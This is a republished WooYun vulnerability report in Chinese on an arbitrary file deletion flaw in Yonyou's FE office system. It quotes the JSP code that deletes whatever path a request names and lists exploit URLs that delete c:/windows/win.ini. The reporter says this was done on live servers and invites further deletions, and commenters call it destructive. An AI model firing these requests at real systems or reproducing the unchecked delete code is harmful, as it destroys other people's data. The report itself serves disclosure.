用友某系统任意文件删除漏洞

admin 2015年6月9日19:51:52评论389 views字数 219阅读0分43秒阅读模式
摘要

2014-09-05: 细节已通知厂商并且等待厂商处理中
2014-09-10: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放(绿盟科技、唐朝安全巡航、无声信息)
2014-11-04: 细节向核心白帽子及相关领域专家公开
2014-11-14: 细节向普通白帽子公开
2014-11-24: 细节向实习白帽子公开
2014-12-01: 细节向公众公开

漏洞概要 关注数(10) 关注此漏洞

缺陷编号: WooYun-2014-75068

漏洞标题: 用友某系统任意文件删除漏洞 用友某系统任意文件删除漏洞

相关厂商: 用友软件

漏洞作者: 路人甲

提交时间: 2014-09-05 16:54

公开时间: 2014-12-01 16:56

漏洞类型: 设计缺陷/逻辑错误

危害等级: 中

自评Rank: 10

漏洞状态: 漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源:www.wooyun.org ,如有疑问或需要帮助请联系

Tags标签: 设计缺陷/边界绕过 逻辑错误

1人收藏


漏洞详情

披露状态:

2014-09-05: 细节已通知厂商并且等待厂商处理中
2014-09-10: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2014-11-04: 细节向核心白帽子及相关领域专家公开
2014-11-14: 细节向普通白帽子公开
2014-11-24: 细节向实习白帽子公开
2014-12-01: 细节向公众公开

简要描述:

用友FE协同办公系统某处验证不严,导致任意文件删除漏洞

详细说明:

漏洞影响版本V5.5.2

漏洞文件:/sys/file_setup/deletefolder.jsp?path=

漏洞参数:path

/sys/file_setup/deletefolder.jsp源代码如下:

---------------------------------------------

<%

String path=request.getParameter("path");

if(path==null|| "".equals(path))

path=(String)request.getAttribute("path");

if(path==null||path.equals("")){

out.println("你没有权限访问或者设置根目录,请联系系统管理员");

return;

}

if(path==null)path="";

String delPath=path;

delPath=delPath.replace(**.**.**.**.File.separatorChar,'/');

File delFile=new File(delPath);

boolean is=false;

if(delFile.exists()){

is=delFile.delete();

}

if(is){

%>

<script language="javascript">

alert("删除成功!");

var reloadSrc=parent.westFrame;

reloadSrc.location.href=reloadSrc.location.href;

</script>

<%

}

else{

%>

<script language="javascript">

alert("文件被其他人员打开,稍候再删除!");

var reloadSrc=parent.westFrame;

</script>

<%

}

%>

---------------------------------------------------

path参数用户可控,并且没有进行文件路径验证,导致任意文件删除漏洞!

漏洞证明:

以http://**.**.**.**:9090 作为测试案例:

1)第一次访问:

http://**.**.**.**:9090/sys/file_setup/deletefolder.jsp?path=c:/windows/win.ini

用友某系统任意文件删除漏洞

可以看到系统提示:”删除成功”!

2)第二次访问:

http://**.**.**.**:9090/sys/file_setup/deletefolder.jsp?path=c:/windows/win.ini

用友某系统任意文件删除漏洞

根据源代码逻辑可以判断,系统文件c:/windows/win.ini已经被成功删除。

c:/windows/win.ini文件已经被删除了,审核测试的时候可以换成其他文件,或者换下其他网站进行测试

其他测试案例:

**.**.**.**:9090/sys/file_setup/deletefolder.jsp?path=c:/windows/win.ini

**.**.**.**:9090/sys/file_setup/deletefolder.jsp?path=c:/windows/win.ini

http://**.**.**.**:9090/sys/file_setup/deletefolder.jsp?path=c:/windows/win.ini

http://**.**.**.**:9090/sys/file_setup/deletefolder.jsp?path=c:/windows/win.ini

http://**.**.**.**:9099/sys/file_setup/deletefolder.jsp?path=c:/windows/win.ini

修复方案:

权限控制

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2014-12-01 16:56

厂商回复:

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):

登陆后才能进行评分


评价

  1. 2014-12-01 17:28 | she11 ( 路人 | Rank:10 漏洞数:1 | 混个脸熟)

    1

    哥们你太狠了,真删啊。

  2. 2014-12-02 15:21 | char ( 路人 | Rank:13 漏洞数:3 | 中国平安,不只保险这么简单。)

    1

    @wangl 碰到个比你还狠的。

  3. 2014-12-02 16:12 | Wangl ( 实习白帽子 | Rank:33 漏洞数:4 | 新浪支付,值得拥有)

    1

    @char 还是这小哥牛B。

  4. 2016-04-17 13:57 | U神 ( 核心白帽子 | Rank:1375 漏洞数:152 | 乌云核心菜鸟,此号处于联盟托管中....)

    1

    这是破坏性测试啊

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin